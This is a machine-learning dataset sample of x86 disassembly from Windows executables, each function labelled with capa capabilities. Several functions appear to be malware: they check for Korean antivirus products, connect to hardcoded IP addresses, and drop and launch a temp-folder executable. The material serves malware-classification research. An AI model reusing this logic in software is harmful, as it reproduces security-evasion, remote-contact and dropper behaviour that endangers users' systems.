joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42c8cc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov byte [ebp - 3], cl
mov word [ebp - 2], dx
mov esi, eax
xor eax, eax
push ebp
push 0x42ca1b
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 1
mov ax, word [ebp - 2]
mov word [esi + 0x1b], ax
test byte [esi + 0x1b], 1
setne al
xor al, 1
mov byte [esi + 0x18], al
mov eax, dword [esi + 0x24]
call fcn.00406f40
test al, al
je 0x42ca05
mov byte [esi + 0x19], 1
push 1
lea eax, [ebp - 8]
push eax
mov eax, dword [0x449c48]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
xor ecx, ecx
xor edx, edx
call fcn.0041762c
mov ecx, dword [ebp - 8]
mov eax, dword [0x449c48]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
lea eax, [esi + 0x28]
call fcn.00403904
mov eax, dword [esi + 0x24]
call fcn.00412b7c
xor ecx, ecx
mov edx, dword [esi + 0x28]
mov eax, dword [esi + 0x24]
call fcn.00418904
mov ebx, eax
test byte [ebp - 3], bl
je 0x42ca05
test byte [esi + 0x1b], 4
je 0x42c976
mov eax, dword [esi + 0x24]
call fcn.004168dc
test byte [esi + 0x1b], 8
je 0x42c99a
mov eax, dword [esi + 0x24]
call fcn.00403a7c
push eax
call sub.gdi32.dll_RemoveFontResourceA
push 0
push 0
push 0x1d
push 0xffff
call sub.user32.dll_SendMessageA
mov eax, dword [esi + 0x24]
call fcn.00417fb4
test al, al
jne 0x42ca05
mov byte [esi + 0x34], 1
lea eax, [esi + 0x2c]
mov edx, 0x104
call fcn.00403be8
mov eax, dword [esi + 0x2c]
call fcn.00403a7c
push eax
push 0
push 0x42ca2c
lea edx, [ebp - 8]
mov eax, dword [esi + 0x24]
call fcn.00407174
mov eax, dword [ebp - 8]
call fcn.00403a7c
push eax
call sub.KERNEL32.DLL_GetTempFileNameA
mov eax, dword [esi + 0x2c]
call fcn.00403a7c
mov edx, eax
lea eax, [esi + 0x2c]
call fcn.004037f0
mov eax, dword [0x449c48]
mov eax, dword [eax]
mov cl, 1
mov edx, 0x42ca38
call fcn.00425bf0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42ca22
lea eax, [ebp - 8]
call fcn.0040363c
ret

Function at 0x42e6fc
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov esi, edx
mov ebx, eax
push esi
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, ebx
xor edx, edx
xor eax, eax
call fcn.004035f8
mov edx, dword [0x449c60]
mov dword [edx], eax
xor eax, eax
push ebp
push 0x42e77f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x449c60]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_ResumeThread
call fcn.0041a308
lea eax, [ebp - 8]
push eax
mov eax, dword [0x449c60]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_GetExitCodeThread
cmp dword [ebp - 8], 0x103
je 0x42e73d
cmp dword [ebp - 8], 0
sete byte [ebp - 1]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42e786
mov eax, dword [0x449c60]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_CloseHandle
ret
Function at 0x430a1c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x430afa
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, dword [ebx + 0x24]
call fcn.004071a8
lea eax, [ebp - 4]
mov edx, 0x430b14
call fcn.004038c0
mov eax, dword [ebp - 4]
call fcn.00403a7c
push eax
call sub.KERNEL32.DLL_GetDriveTypeA
cmp eax, 5
sete al
test al, al
je 0x430a6f
and dword [ebx + 0x30], 0xfffffffe
push 0
push 1
xor eax, eax
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x38], 0
mov eax, dword [ebx + 0x24]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x30], 0xb
mov eax, dword [ebx + 0x2c]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0
fld qword [ebx + 0x34]
fstp xword [ebp - 0x48]
wait
lea eax, [ebp - 0x48]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 3
mov eax, dword [ebx + 0x30]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov dword [ebp - 0x14], 1
mov byte [ebp - 0x10], 0
mov eax, dword [ebx + 0x18]
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0xb
lea edx, [ebp - 0x3c]
mov eax, dword [0x449b68]
mov ecx, 6
call fcn.0042608c
mov edx, eax
xor ecx, ecx
mov eax, esi
call fcn.00438f30
test eax, eax
sete al
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x430b01
lea eax, [ebp - 4]
call fcn.0040363c
ret
Function at 0x433134
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0xc], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4332b1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00406f40
test al, al
je 0x433280
mov eax, ebx
call fcn.00417bb4
mov edi, eax
mov eax, ebx
call fcn.00403a7c
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
mov esi, eax
mov eax, dword [ebp + 8]
cmp byte [eax - 1], 0
je 0x433185
and esi, 0xfffffffe
mov eax, ebx
call fcn.00406ed8
call fcn.004072f8
fstp qword [ebp - 8]
wait
lea eax, [ebp - 0xc]
call fcn.0040363c
mov byte [0x4496d4], 0
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
push eax
push dword [ebp - 4]
push dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
mov ecx, esi
mov edx, edi
mov eax, ebx
call fcn.004326b4
pop ecx
dec eax
jne 0x43329b
cmp dword [0x44ab14], 0
je 0x4331e3
mov eax, dword [0x44ab14]
test byte [eax + 0x29], 4
je 0x4331e3
mov byte [0x4496d4], 1
cmp byte [0x4496d4], 0
je 0x433203
push 0
mov eax, dword [ebp + 8]
mov edx, dword [eax - 8]
mov eax, 0x44ab24
mov ecx, pe_nt_image_headers32
call fcn.004282b4
mov eax, 0x4330c4
push eax
push 0
mov ecx, 0x433048
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.00418690
mov byte [ebp - 0xd], al
cmp byte [0x4496d4], 0
je 0x433230
mov eax, 0x44ab24
call fcn.004283b4
cmp byte [ebp - 0xd], 0
je 0x433265
mov eax, dword [ebp + 8]
cmp byte [eax - 1], 0
je 0x43324e
push esi
mov eax, dword [ebp - 0xc]
call fcn.00403a7c
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
push dword [ebp - 4]
push dword [ebp - 8]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, esi
mov edx, edi
mov eax, ebx
call fcn.00432df8
jmp 0x43329b
mov eax, dword [0x449b44]
cmp byte [eax], 0
jne 0x43329b
mov byte [0x44ab1e], 1
mov eax, dword [0x449b44]
mov byte [eax], 1
jmp 0x43329b
mov eax, 0x44ab0c
mov edx, ebx
call fcn.00403690
mov byte [0x44ab1e], 1
mov eax, dword [0x449b44]
mov byte [eax], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4332b8
lea eax, [ebp - 0xc]
call fcn.0040363c
ret
Function at 0x433724
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4338dc
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 1
xor eax, eax
push ebp
push 0x4338b8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x449c48]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov edx, dword [eax]
call dword [edx + 0x54]
dec eax
test eax, eax
jl 0x4338ae
inc eax
mov dword [ebp - 8], eax
xor ebx, ebx
mov eax, dword [0x449c48]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov edx, ebx
call fcn.00422cac
mov eax, dword [eax + 0x3c]
mov edx, dword [eax]
call dword [edx + 0x54]
mov edi, eax
dec edi
test edi, edi
jl 0x4338a4
inc edi
xor esi, esi
mov eax, dword [0x449c48]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov edx, ebx
call fcn.00422cac
mov eax, dword [eax + 0x3c]
mov edx, esi
call fcn.00422d2c
mov eax, dword [eax + 0x2c]
lea edx, [ebp - 0xc]
call fcn.0040723c
cmp dword [ebp - 0xc], 0
jne 0x43381b
mov eax, dword [0x449c48]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov edx, ebx
call fcn.00422cac
mov eax, dword [eax + 0x24]
push eax
mov eax, dword [0x449c48]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov edx, ebx
call fcn.00422cac
mov eax, dword [eax + 0x3c]
mov edx, esi
call fcn.00422d2c
mov edx, dword [eax + 0x30]
lea ecx, [ebp - 0xc]
mov eax, dword [0x449c48]
mov eax, dword [eax]
call fcn.004251d0
mov edx, dword [ebp - 0xc]
mov eax, dword [0x449c30]
mov eax, dword [eax]
mov cl, 1
call fcn.0042c484
jmp 0x43389c
mov eax, dword [0x449c48]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov edx, ebx
call fcn.00422cac
mov eax, dword [eax + 0x3c]
mov edx, esi
call fcn.00422d2c
mov eax, dword [eax + 0x2c]
call fcn.00403a7c
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
cmp eax, 0x10
jne 0x43389c
mov eax, dword [0x449c48]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov edx, ebx
call fcn.00422cac
mov eax, dword [eax + 0x24]
push eax
mov eax, dword [0x449c48]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov edx, ebx
call fcn.00422cac
mov eax, dword [eax + 0x3c]
mov edx, esi
call fcn.00422d2c
mov edx, dword [eax + 0x30]
lea ecx, [ebp - 0xc]
mov eax, dword [0x449c48]
mov eax, dword [eax]
call fcn.004251d0
mov edx, dword [ebp - 0xc]
mov eax, dword [0x449c30]
mov eax, dword [eax]
mov cl, 1
call fcn.0042c484
inc esi
dec edi
jne 0x433797
inc ebx
dec dword [ebp - 8]
jne 0x433770
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4338c6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4338e3
lea eax, [ebp - 0xc]
call fcn.0040363c
ret
Function at 0x43843c
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
test dl, dl
je 0x438450
add esp, 0xfffffff0
call fcn.00402d64
mov esi, ecx
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push 0x43852f
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, edi
call fcn.00402c3c
mov eax, dword [0x44ab60]
call fcn.0040d4b4
mov edx, eax
dec edx
mov eax, dword [0x44ab60]
call fcn.0040d4bc
mov eax, dword [eax + 8]
mov dword [edi + 4], eax
mov eax, dword [0x449c48]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
xor edx, edx
call fcn.00423688
mov edx, dword [eax + 0x30]
lea eax, [edi + 8]
call fcn.00403690
mov eax, dword [0x449c48]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov edx, 1
call fcn.00423688
mov edx, dword [eax + 0x30]
lea eax, [edi + 0xc]
call fcn.00403690
mov eax, dword [0x449c48]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
xor edx, edx
call fcn.00423688
add eax, 0x30
push eax
lea edx, [ebp - 4]
mov eax, esi
call fcn.00406d0c
mov edx, dword [ebp - 4]
pop eax
call fcn.00403690
mov eax, dword [0x449c48]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov edx, 1
call fcn.00423688
add eax, 0x30
push eax
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.00406d0c
mov edx, dword [ebp - 4]
pop eax
call fcn.00403690
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x438536
lea eax, [ebp - 4]
call fcn.0040363c
ret
Function at 0x444380
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov byte [ebp - 0xd], 0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_FindResourceA
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4443e1
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_SizeofResource
mov edx, dword [ebp + 8]
mov dword [edx], eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_LoadResource
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
call sub.KERNEL32.DLL_LockResource
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov byte [ebp - 0xd], 1
mov al, byte [ebp - 0xd]
mov esp, ebp
pop ebp
ret 8
Function at 0x444a9c
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x444e4c
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
call fcn.0040723c
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
call fcn.00407174
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 0x14]
call fcn.0043b8e8
test al, al
jne 0x444b44
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x50]
mov eax, 0x16
call fcn.0043a5d4
mov eax, dword [ebp - 0x50]
push eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x5c], eax
mov byte [ebp - 0x58], 0xb
lea edx, [ebp - 0x5c]
xor ecx, ecx
pop eax
call fcn.00407a2c
mov edx, dword [ebp - 0x54]
lea ecx, [ebp - 0x50]
mov eax, dword [0x449c48]
mov eax, dword [eax]
call fcn.004251d0
mov edx, dword [ebp - 0x50]
mov eax, 0x444e68
call fcn.0043bc78
jmp 0x444e24
lea edx, [ebp - 0x50]
mov eax, dword [ebp - 0x18]
call fcn.00417b08
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 4]
add eax, 0x28
mov ecx, dword [ebp - 0x14]
call fcn.00403904
lea ecx, [ebp - 0x50]
xor edx, edx
mov eax, dword [ebp - 0x14]
call fcn.004070e0
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 4]
add eax, 0x20
call fcn.00403690
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov edx, 0x20
call fcn.00406e08
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x444d62
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_GetFileSize
mov dword [ebp - 0xc], eax
mov edi, dword [ebp - 0xc]
cmp edi, 0x10000
jle 0x444bba
mov edi, 0x10000
mov eax, edi
call fcn.004025b8
mov dword [ebp - 0x20], eax
xor eax, eax
push ebp
push 0x444c70
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x21], 0
xor eax, eax
mov dword [ebp - 0x28], eax
mov edx, edi
neg edx
mov ecx, 2
mov eax, dword [ebp - 0x10]
call fcn.00406ec4
mov edx, dword [ebp - 0x20]
mov ecx, edi
mov eax, dword [ebp - 0x10]
call fcn.00406e6c
mov esi, edi
sub esi, 6
cmp esi, 0
jl 0x444c5a
mov eax, 0x444e80
mov al, byte [eax]
call fcn.00402874
mov edx, dword [ebp - 0x20]
cmp al, byte [edx + esi]
jne 0x444c54
mov byte [ebp - 0x21], 1
mov ebx, 1
mov eax, 0x444e80
mov al, byte [eax + ebx]
call fcn.00402874
lea edx, [ebx + esi]
mov ecx, dword [ebp - 0x20]
cmp al, byte [ecx + edx]
je 0x444c3e
mov byte [ebp - 0x21], 0
jmp 0x444c44
inc ebx
cmp ebx, 6
jne 0x444c20
cmp byte [ebp - 0x21], 0
je 0x444c54
sub edi, esi
sub edi, 6
mov dword [ebp - 0x28], edi
jmp 0x444c5a
dec esi
cmp esi, 0xffffffff
jne 0x444c03
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x444c77
mov eax, dword [ebp - 0x20]
call fcn.004025d0
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x444e53
lea eax, [ebp - 0x54]
mov edx, 2
call fcn.00403660
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00403660
ret
Function at 0x401000
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push eax
xor esi, esi
call fcn.00409990
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00409990
add esp, 0x18
lea eax, [ebp - 0x414]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
mov word [ebp - 0x410], ax
push str.HangameKOREANHanUninstall.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
mov ecx, 1
push str._s_s
push eax
cmovne esi, ecx
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x4010d7
or esi, 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401105
or esi, 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401136
or esi, 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401167
or esi, 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401198
or esi, 0x400
mov ecx, dword [ebp - 4]
or esi, 0x2000000
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405da4
mov esp, ebp
pop ebp
ret
Function at 0x401470
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d8
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x3e
push eax
mov word [ebp - 0x48], ax
lea eax, [ebp - 0x46]
push eax
call fcn.00409990
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
call fcn.00403c20
add esp, 4
xor ecx, ecx
jmp 0x4014b0
movzx eax, word [ebp + ecx - 0x48]
mov word [ecx + 0x41bf88], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4014b0
push 0x41bf88
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x4014f1
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405da4
mov esp, ebp
pop ebp
ret
push 0x41bf88
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x4014e1
lea eax, [ebp - 0x1d8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x41cb20
call fcn.00401d90
test eax, eax
jne 0x4015c0
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ecx + str.dgudf]
mov word [ecx + 0x41ccc8], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401530
push str.218.54.47.77
push 0x40
push 0x41cb24
call fcn.00405ee9
add esp, 0xc
push str.GTDR
push 0x10
push 0x41cba6
call fcn.00405ee9
add esp, 0xc
push 0x418890
push 0x40
push 0x41cbc6
call fcn.00405ee9
mov eax, 0x51
mov word [0x41cba4], ax
mov eax, 0x2b8e
add esp, 0xc
mov word [0x41cc46], ax
xor ecx, ecx
lea ebx, [ebx]
movzx eax, word [ecx + str.BHSBDHS]
mov word [ecx + 0x41cca8], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4015a0
mov dword [0x41cce8], 5
call fcn.00403d60
push 0x418890
call fcn.00403e80
add esp, 4
mov dword [0x41ce20], eax
call fcn.00401250
push 0
push 0
push 0
push 0x4013b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
call fcn.00405da4
mov esp, ebp
pop ebp
ret
Function at 0x401610
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, edx
push edi
push 0x4188bc
call fcn.00404860
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x40172f
push esi
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00409990
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push eax
call fcn.00409990
add esp, 0x18
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x41c3a8
mov edi, edi
cmp word [esi], 0
je 0x4016c3
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.00405ee9
push esi
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.00405f45
add esp, 0x18
add esi, 0x118
cmp esi, 0x41c920
jl 0x401690
mov esi, 0x41c3a8
cmp word [esi], 0
je 0x4016ed
push 1
push edi
push 0x4188bc
push esi
call fcn.00405810
add esp, 0x10
add esi, 0x118
cmp esi, 0x41c920
jl 0x4016d6
push 0x41c1a0
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00405f45
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
mov ecx, 2
cmove ebx, ecx
mov eax, ebx
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00405da4
mov esp, ebp
pop ebp
ret
Function at 0x4019e0
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x41a038]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x41beb8
push 0x67
push edi
call esi
push 0x64
push 0x41bdf0
push 0x6d
push edi
call esi
mov ecx, edi
call fcn.00401b80
push 0
push edi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x41beb8
push 0x41bdf0
push 0
mov dword [0x41bf80], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401a72
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00405da4
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
push 0x41af08
call fcn.00402b40
add esp, 4
call fcn.00402100
test eax, eax
je 0x401aab
call fcn.00403780
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401470
test eax, eax
je 0x401a5a
call fcn.00401740
mov eax, dword [0x41ce20]
test eax, eax
je 0x401ae6
cmp word [0x41ce24], 0
jbe 0x401ae6
push str.218.54.31.226
push eax
call fcn.004044d0
mov ax, word [0x41ce24]
add esp, 8
mov word [0x41aef4], ax
xor ecx, ecx
jmp 0x401af0
movzx eax, word [ecx + str.djfuhgdt.exe]
mov word [ecx + 0x41c1a0], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401af0
call fcn.00404580
xor eax, eax
push 0x206
push eax
mov word [esp + 0x10], ax
lea eax, [esp + 0x12]
push eax
call fcn.00409990
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41c1a0
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.00405f45
add esp, 0xc
push 0x1f4
call esi
push 1
push 0
push 0x41884c
lea eax, [esp + 0x14]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]